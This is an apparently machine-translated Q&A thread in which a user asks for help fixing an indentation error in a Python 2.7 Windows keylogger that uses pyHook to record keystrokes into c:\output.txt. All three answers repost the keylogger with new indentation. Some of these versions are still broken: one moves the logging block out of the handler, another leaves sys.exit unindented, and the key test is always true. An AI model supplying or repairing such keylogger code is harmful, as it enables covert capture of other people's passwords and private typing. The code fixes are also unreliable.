Python - 错误:预期缩进块

时间:2016-03-10 05:39:52

标签: python windows python-2.7 keylogger

我一直在篡改Python和键盘记录程序,试图找到一个关于如何构建一个并且无法找到一个的全面教程。真正让我失望的是模块的可用性,而不是实际的python更新,以及pyhooks - 试图找到兼容性是非常困难的。无论如何,我终于找到了一个有点可行的教程,我得到了#34;期望一个预期的块"错误。这是代码。

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
if event.Ascii == 5: 
sys.exit()

if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
f.write(keylogs) 
f.close()

while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()

我在第5行代码中得到了错误(如果event.Ascii == 5 :)那么如果它不允许我运行该模块就会出错。有帮助吗?感谢。

3 个答案:

答案 0 :(得分:0)

为python脚本添加正确的格式,例如为OnKeyboardEvent函数正确添加标识:

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()
    if event.Ascii != 0 or 8: 
        f = open ('c:\\output.txt', 'a') 
        keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
        keylogs = keylogs + '\n' 
        f.write(keylogs) 
        f.close()

你的while循环也应包含标识:

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()

请参阅该文章的Lines and Indentation部分。

答案 1 :(得分:0)

在代码中使用这个正确的python代码格式:

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()

if event.Ascii != 0 or 8: 
    f = open ('c:\\output.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
       keylogs = keylogs + '\n' 
       f.write(keylogs) 
       f.close()

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()

答案 2 :(得分:0)

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5:
    sys.exit()
    if event.Ascii != 0 or 8:
        f = open ('c:\\output.txt', 'a')
        keylogs = chr(event.Ascii)
    if event.Ascii == 13:
        keylogs = keylogs + '\n'
        f.write(keylogs)
        f.close()
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

我不确定代码是否有效。这只是我们在python中缩进的一个例子,因为我们这里没有括号。你也可以参考这个。

http://www.secnetix.de/olli/Python/block_indentation.hawk